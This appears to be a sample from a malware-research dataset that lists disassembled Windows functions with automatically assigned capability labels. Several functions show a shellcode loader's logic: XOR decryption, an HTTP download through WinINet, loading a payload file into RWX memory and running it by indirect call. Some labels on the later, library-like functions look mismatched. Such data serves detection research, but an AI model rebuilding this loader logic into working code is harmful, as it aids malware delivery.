joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41b3f1
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0xc0
push ebx
push ebp
push edi
xor edi, edi
mov dword [esp + 0xc], 0x6d6a6b68
mov ebp, ecx
mov dword [esp + 0x10], 0x616e6f6c
mov ebx, edx
mov dword [esp + 0x14], 0x65626360
mov dword [esp + 0x18], 0x79666764
mov ecx, edi
mov dword [esp + 0x1c], 0x7d7a7b78
mov dword [esp + 0x20], 0x717e7f7c
mov dword [esp + 0x24], 0x4b487370
mov dword [esp + 0x28], 0x4f4c4d4a
mov dword [esp + 0x2c], 0x4340414e
mov dword [esp + 0x30], 0x47444542
mov dword [esp + 0x34], 0x5b585946
mov dword [esp + 0x38], 0x5f5c5d5a
mov dword [esp + 0x3c], 0x5350515e
mov dword [esp + 0x40], 0x3a3b3839
mov dword [esp + 0x44], 0x3e3f3c3d
mov word [esp + 0x48], 0x3031
mov al, byte [esp + ecx + 0xc]
xor al, 9
movzx eax, al
mov word [esp + ecx*2 + 0x4c], ax
inc ecx
cmp ecx, 0x3e
jl 0x41b481
xor eax, eax
push edi
mov word [esp + 0xcc], ax
call fcn.00405e33
push eax
call fcn.00405e21
pop ecx
pop ecx
test ebx, ebx
je 0x41b4d8
push esi
lea eax, [esp + 0x50]
push eax
call fcn.0040581e
pop ecx
mov esi, eax
call fcn.00405e00
xor edx, edx
div esi
mov ax, word [esp + edx*2 + 0x50]
mov word [ebp + edi*2], ax
inc edi
cmp edi, ebx
jb 0x41b4b2
pop esi
xor eax, eax
pop edi
mov word [ebp + ebx*2], ax
pop ebp
pop ebx
add esp, 0xc0
ret
Function at 0x401070
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0x40
push 0x3000
mov eax, dword [ebp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
pop ebp
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x401000
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push edi
push 0x400
push 8
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
jne 0x401022
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp edi, 0x40ac40
jne 0x401031
mov dword [0x40bf94], eax
jmp 0x40103e
cmp edi, 0x40b040
jne 0x40103e
mov dword [0x40bf98], eax
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push esi
xor ebx, ebx
mov esi, eax
sub edi, eax
lea ecx, [ecx]
mov al, byte [edi + esi]
mov byte [esi], al
call ebp
mov cl, bl
sub cl, 0x40
xor byte [esi], cl
inc ebx
inc esi
cmp ebx, 0x3ff
jb 0x401050
pop esi
pop ebp
pop ebx
pop edi
ret

Function at 0x401070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x40bf90]
push ebx
push esi
push edi
lea esi, [eax + 0x14]
mov edi, eax
mov eax, dword [esi]
push 0x40
push 0x3000
inc eax
push eax
push 0
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
test eax, eax
je 0x4010df
mov ecx, dword [esi]
mov edx, dword [edi + 0x10]
push ecx
push edx
push eax
call fcn.00403c70
add esp, 0xc
xor eax, eax
mov eax, dword [ebp - 8]
push eax
mov ebx, 0xdefac00
add ebx, 0xed
push ebx
xor eax, eax
push eax
pop eax
mov ebx, dword [ebp - 4]
push ebx
pop esi
xor edi, edi
add edi, 0x1000
sub esp, edi
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4010f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push edi
mov edi, dword [0x40bf90]
mov ebp, dword [edi + 0x14]
mov edx, dword [edi + 0x10]
cmp ebp, 4
jae 0x401108
pop edi
xor eax, eax
pop ebp
ret
push esi
movzx esi, byte [edx]
xor ecx, ecx
mov edi, edi
mov eax, esi
xor eax, ecx
cmp al, 0xeb
jne 0x40112c
movzx eax, byte [edx + 1]
xor eax, ecx
cmp al, 2
jne 0x40112c
movzx eax, byte [edx + 3]
xor eax, ecx
cmp al, 0xf1
je 0x40113b
inc ecx
cmp ecx, 0x100
jb 0x401110
pop esi
pop edi
xor eax, eax
pop ebp
ret
xor eax, eax
test ebp, ebp
jbe 0x40114a
xor byte [eax + edx], cl
inc eax
cmp eax, dword [edi + 0x14]
jb 0x401141
pop esi
pop edi
mov eax, 1
pop ebp
ret
Function at 0x401160
Capabilities:
Check http status code
Connect to http server
Create http request
Get http content length
Read data from internet
Receive data
Send data
Send http request

Disassembly:
sub esp, 0x24
mov eax, dword [0x40bf90]
push ebx
push ebp
push edi
xor ebp, ebp
push ebp
push ebp
push ebp
push ebp
xor ebx, ebx
push ebp
mov dword [esp + 0x28], ebx
mov dword [esp + 0x3c], 0x4092b0
mov dword [esp + 0x40], ebp
mov dword [esp + 0x30], eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
mov dword [esp + 0x20], edi
cmp edi, ebp
je 0x4012ef
mov ecx, dword [0x40bf94]
push esi
push ebp
push ebp
push 3
push ebp
push ebp
push 0x50
push ecx
push edi
call dword [sym.imp.WININET.dll_InternetConnectW]
mov esi, eax
mov dword [esp + 0x28], esi
cmp esi, ebp
je 0x4012e7
mov eax, dword [0x40bf98]
push ebp
push 0x4000000
lea edx, [esp + 0x34]
push edx
push ebp
push ebp
push eax
push ebp
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov ebx, eax
cmp ebx, ebp
je 0x4012dc
push ebp
push ebp
push ebp
push ebp
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x4012cd
mov esi, dword [sym.imp.WININET.dll_HttpQueryInfoW]
push ebp
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x24]
push edx
push 0x20000013
mov edi, 4
push ebx
mov dword [esp + 0x24], edi
call esi
test eax, eax
je 0x4012cd
cmp dword [esp + 0x1c], 0xc8
jne 0x4012cd
push ebp
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0x20000005
push ebx
mov dword [esp + 0x28], ebp
mov dword [esp + 0x24], edi
call esi
test eax, eax
je 0x4012cd
mov eax, dword [esp + 0x14]
cmp eax, ebp
je 0x4012cd
inc eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
cmp edi, ebp
je 0x4012cd
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [esp + 0x14]
xor esi, esi
jmp 0x401280
lea edx, [esp + 0x10]
push edx
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
push ebx
call ebp
test eax, eax
mov eax, dword [esp + 0x14]
je 0x4012a5
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x4012a5
add esi, ecx
cmp esi, eax
jb 0x401280
cmp esi, eax
je 0x4012bb
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x4012cd
mov ecx, dword [esp + 0x20]
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x10], edi
mov dword [esp + 0x18], 1
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [esp + 0x24]
mov esi, dword [esp + 0x28]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, dword [esp + 0x18]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
pop edi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x24
ret
Function at 0x401300
Capabilities:
Get file size
Read file via mapping

Disassembly:
sub esp, 0x218
mov eax, dword [0x40a004]
xor eax, esp
mov dword [esp + 0x214], eax
push ebx
push esi
push edi
mov edi, dword [0x40bf90]
xor ebx, ebx
push 0x20a
lea eax, [esp + 0x18]
push ebx
push eax
mov dword [esp + 0x18], ebx
call fcn.004057a0
add esp, 0xc
push 0x104
lea ecx, [esp + 0x18]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str.WRD2431.tmp
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x401411
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
push ebx
push esi
call ebp
push eax
push ebx
push 2
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esp + 0x14], eax
test eax, eax
je 0x401409
push ebx
push ebx
push ebx
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
test ebx, ebx
je 0x4013fa
push 0
push esi
call ebp
push 4
mov dword [edi + 0x14], eax
push 0x3000
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [edi + 0x10], eax
test eax, eax
je 0x4013f3
mov edx, dword [edi + 0x14]
push edx
push ebx
push eax
call fcn.00403c70
add esp, 0xc
mov dword [esp + 0x10], 1
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
mov ecx, dword [esp + 0x220]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0040154d
add esp, 0x218
ret

Function at 0x401430
Capabilities:
Set current directory

Disassembly:
sub esp, 0x10c
mov eax, dword [0x40a004]
xor eax, esp
mov dword [esp + 0x108], eax
push 0x105
lea eax, [esp + 4]
push 0
push eax
call fcn.004057a0
add esp, 0xc
push 0x105
lea ecx, [esp + 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401470
sub eax, edx
add eax, 0xffffffff
js 0x401490
mov cl, 0x5c
cmp byte [esp + eax], cl
je 0x40148c
sub eax, 1
jns 0x401480
jmp 0x401490
mov byte [esp + eax], 0
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.0040154d
add esp, 0x10c
ret

Function at 0x40154d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a004]
jne 0x401557
repz ret
jmp fcn.0040170c
Function at 0x403693
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402571
and dword [ebp - 4], 0
cmp dword [0x40be68], 0
mov ebx, eax
jne 0x403744
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4037f5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4037f5
push eax
call fcn.004024ff
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40be68], eax
call esi
push eax
call fcn.004024ff
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40be6c], eax
call esi
push eax
call fcn.004024ff
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40be70], eax
call esi
push eax
call fcn.004024ff
pop ecx
mov dword [0x40be78], eax
test eax, eax
je 0x403744
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004024ff
pop ecx
mov dword [0x40be74], eax
mov eax, dword [0x40be74]
cmp eax, ebx
je 0x40379c
cmp dword [0x40be78], ebx
je 0x40379c
push eax
call fcn.0040257a
push dword [0x40be78]
mov esi, eax
call fcn.0040257a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40379c
test edi, edi
je 0x40379c
call esi
test eax, eax
je 0x403793
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x403793
test byte [ebp - 0xc], 1
jne 0x40379c
or dword [ebp + 0x10], 0x200000
jmp 0x4037d5
mov eax, dword [0x40be6c]
cmp eax, ebx
je 0x4037d5
push eax
call fcn.0040257a
pop ecx
test eax, eax
je 0x4037d5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4037d5
mov eax, dword [0x40be70]
cmp eax, ebx
je 0x4037d5
push eax
call fcn.0040257a
pop ecx
test eax, eax
je 0x4037d5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40be68]
call fcn.0040257a
pop ecx
test eax, eax
je 0x4037f5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4037f7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001a80
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013b95
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push esi
push edi
mov eax, dword [0x1001c440]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
cmp dword [edi + 8], 0x9249249
je 0x10001c54
lea eax, [edi + 4]
mov dword [ebp - 0x1c], eax
push 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0
call fcn.10007b10
mov ecx, dword [ebp + 0xc]
mov esi, eax
add esp, 4
mov dword [ebp - 0x18], esi
movups xmm0, xmmword [ecx]
movups xmmword [esi + 8], xmm0
mov ecx, dword [ecx + 0x10]
mov dword [esi + 0x18], ecx
movzx eax, byte [esi + 8]
xor eax, 0x811c9dc5
movss xmm3, dword [edi]
imul ecx, eax, 0x1000193
movzx eax, byte [esi + 9]
mov dword [ebp - 4], 1
xor ecx, eax
movzx eax, byte [esi + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov dword [ebp + 0xc], eax
mov eax, dword [edi + 8]
inc eax
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x100156f0]
mov eax, dword [edi + 0x1c]
cvtpd2ps xmm2, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
movaps xmm1, xmm2
addsd xmm0, qword [eax*8 + 0x100156f0]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
comiss xmm1, xmm3
jbe 0x10001bc4
divss xmm2, xmm3
sub esp, 8
cvtps2pd xmm0, xmm2
movsd qword [ebp - 0x14], xmm0
fld qword [ebp - 0x14]
fstp qword [esp]
call fcn.1000b0a0
fstp qword [ebp - 0x14]
movsd xmm0, qword [ebp - 0x14]
add esp, 8
cvtpd2ps xmm0, xmm0
call fcn.10007ee0
mov ecx, 8
cmp eax, ecx
cmova ecx, eax
mov eax, dword [edi + 0x1c]
cmp eax, ecx
jae 0x10001bbc
cmp eax, 0x200
jae 0x10001bba
shl eax, 3
cmp eax, ecx
jae 0x10001bbc
mov eax, ecx
push eax
mov ecx, edi
call fcn.10003960
mov ecx, dword [ebp + 0xc]
and ecx, dword [edi + 0x18]
mov eax, dword [edi + 0xc]
mov edx, dword [edi + 4]
mov eax, dword [eax + ecx*8 + 4]
cmp eax, edx
je 0x10001bf4
mov edx, dword [edi + 0xc]
mov edx, dword [edx + ecx*8]
mov ecx, dword [esi + 8]
cmp ecx, dword [eax + 8]
je 0x10001bf2
cmp eax, edx
je 0x10001c22
mov eax, dword [eax + 4]
cmp ecx, dword [eax + 8]
jne 0x10001be6
mov edx, dword [eax]
mov eax, dword [edx + 4]
inc dword [edi + 8]
mov dword [esi + 4], eax
mov dword [esi], edx
mov dword [eax], esi
mov dword [edx + 4], esi
mov ecx, dword [edi + 0xc]
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
mov eax, dword [edi + 0x18]
and eax, dword [ebp + 0xc]
mov edi, dword [ecx + eax*8]
cmp edi, dword [esi]
mov esi, dword [ebp - 0x18]
jne 0x10001c26
mov dword [ecx + eax*8], esi
jmp 0x10001c38
mov edx, eax
jmp 0x10001bf4
cmp edi, edx
jne 0x10001c2f
mov dword [ecx + eax*8], esi
jmp 0x10001c3c
mov edx, dword [ebp - 0x10]
cmp dword [ecx + eax*8 + 4], edx
jne 0x10001c3c
mov dword [ecx + eax*8 + 4], esi
mov eax, dword [ebp + 8]
mov dword [eax], esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
push str.unordered_map_set_too_long
call fcn.10007acd
int3
Function at 0x10001f80
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013bdb
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x1001c440]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], esi
mov dword [esi], vtable.Xbyak::CodeArray.0
push 0x18
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call fcn.10007b10
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [esi + 4], eax
mov edi, dword [ebp + 0xc]
mov dword [ebp - 4], 0
cmp edi, 1
jne 0x10001fea
lea ecx, [edi + 2]
jmp 0x10001ffd
test edi, edi
je 0x10001ff8
mov ecx, 1
cmp edi, 2
jne 0x10001ffd
mov ecx, 2
lea edx, [esi + 0x10]
mov dword [esi + 0xc], ecx
mov dword [edx], vtable.Xbyak::Allocator.0
mov eax, dword [ebp + 0x10]
test eax, eax
mov ebx, dword [ebp + 8]
cmovne edx, eax
mov byte [ebp - 4], 1
mov dword [esi + 0x14], edx
mov dword [esi + 0x18], ebx
cmp ecx, 1
jne 0x10002027
mov eax, edi
jmp 0x10002038
mov eax, dword [edx]
mov ecx, 1
cmp ebx, ecx
cmovb ebx, ecx
mov ecx, edx
push ebx
call dword [eax]
cmp dword [esi + 0x18], 0
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], 0
mov byte [esi + 0x24], 0
jbe 0x10002050
test eax, eax
je 0x100020a4
cmp dword [esi + 0xc], 2
jne 0x1000208e
cmp edi, 2
je 0x1000208e
mov ecx, dword [esi + 0x14]
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
test al, al
je 0x1000208e
lea eax, [ebp - 0x10]
push eax
push 0x40
push dword [esi + 0x18]
push dword [esi + 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1000208e
mov ecx, dword [esi + 0x14]
push dword [esi + 0x1c]
mov eax, dword [ecx]
call dword [eax + 4]
push 0xe
jmp 0x100020a6
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push 0x16
lea ecx, [ebp - 0x24]
call fcn.10002b30
push 0x1001ac4c
lea eax, [ebp - 0x24]
push eax
call fcn.10008c00
int3
Function at 0x10002b70
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013ca3
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x1001c440]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
push 0x48
mov dword [edi + 4], 0
mov dword [edi + 8], 0
call fcn.10007b10
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [edi + 4], eax
lea esi, [edi + 0x10]
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], esi
mov dword [esi], 0
push 0x14
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call fcn.10007b10
add esp, 8
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [esi + 4], eax
lea ecx, [esi + 0xc]
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov dword [esi + 0x18], 7
mov dword [esi + 0x1c], 8
mov dword [esi], 0x3f800000
push dword [esi + 4]
mov byte [ebp - 4], 2
push 0x10
call fcn.100037e0
lea esi, [edi + 0x30]
mov byte [ebp - 4], 3
mov dword [ebp - 0x14], esi
mov dword [esi], 0
push 0x1c
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call fcn.10007b10
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [esi + 4], eax
lea ecx, [esi + 0xc]
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov dword [esi + 0x18], 7
mov dword [esi + 0x1c], 8
mov dword [esi], 0x3f800000
push dword [esi + 4]
mov byte [ebp - 4], 5
push 0x10
call fcn.100037e0
lea esi, [edi + 0x50]
mov byte [ebp - 4], 6
mov dword [ebp - 0x14], esi
mov dword [esi], 0
push 0xc
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call fcn.10007b10
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [esi + 4], eax
lea ecx, [esi + 0xc]
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov byte [ebp - 4], 8
mov dword [esi + 0x18], 7
mov dword [esi + 0x1c], 8
mov dword [esi], 0x3f800000
push dword [esi + 4]
push 0x10
call fcn.100037e0
mov ecx, edi
mov byte [ebp - 4], 9
call fcn.10006a20
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10002d20
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013cf9
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1001c440]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov ebx, dword [ebp + 8]
push 0x24
mov dword [ebp - 0x14], edi
mov eax, dword [ebx]
mov dword [edi], eax
mov dword [edi + 4], 0
mov dword [edi + 8], 0
call fcn.10007b10
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [edi + 4], eax
mov dword [ebp - 4], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
push eax
push 0x10
lea ecx, [edi + 0xc]
mov byte [ebp - 4], 1
call fcn.100037e0
mov ecx, dword [edi + 4]
mov eax, dword [ebx + 4]
mov dword [edi + 4], eax
mov eax, dword [ebx + 8]
mov dword [ebx + 4], ecx
mov ecx, dword [edi + 8]
mov dword [edi + 8], eax
mov eax, dword [ebx + 0xc]
mov dword [ebx + 8], ecx
mov ecx, dword [edi + 0xc]
mov dword [edi + 0xc], eax
mov eax, dword [ebx + 0x10]
mov dword [ebx + 0xc], ecx
mov ecx, dword [edi + 0x10]
mov dword [edi + 0x10], eax
mov eax, dword [ebx + 0x14]
mov dword [ebx + 0x10], ecx
mov ecx, dword [edi + 0x14]
mov dword [edi + 0x14], eax
mov eax, dword [ebx + 0x18]
mov dword [ebx + 0x14], ecx
mov dword [ebx + 0x18], 7
mov dword [edi + 0x18], eax
mov eax, dword [ebx + 0x1c]
mov dword [ebx + 0x1c], 8
mov dword [edi + 0x1c], eax
mov eax, dword [ebx + 0x20]
add edi, 0x20
push 0x30
mov dword [ebp - 4], 2
mov dword [ebp + 8], edi
mov dword [edi], eax
mov dword [edi + 4], 0
mov dword [edi + 8], 0
call fcn.10007b10
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [edi + 4], eax
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
push eax
push 0x10
lea ecx, [edi + 0xc]
mov byte [ebp - 4], 4
call fcn.100037e0
mov ecx, dword [edi + 4]
mov eax, dword [ebx + 0x24]
mov dword [edi + 4], eax
mov eax, dword [ebx + 0x28]
mov dword [ebx + 0x24], ecx
mov ecx, dword [edi + 8]
mov dword [edi + 8], eax
mov dword [ebx + 0x28], ecx
mov ecx, dword [edi + 0xc]
mov eax, dword [ebx + 0x2c]
mov dword [edi + 0xc], eax
mov eax, dword [ebx + 0x30]
mov dword [ebx + 0x2c], ecx
mov ecx, dword [edi + 0x10]
mov dword [edi + 0x10], eax
mov eax, dword [ebx + 0x34]
mov dword [ebx + 0x30], ecx
mov ecx, dword [edi + 0x14]
mov dword [edi + 0x14], eax
mov eax, dword [ebx + 0x38]
mov dword [ebx + 0x34], ecx
mov dword [ebx + 0x38], 7
mov dword [edi + 0x18], eax
mov eax, dword [ebx + 0x3c]
mov dword [ebx + 0x3c], 8
mov dword [edi + 0x1c], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4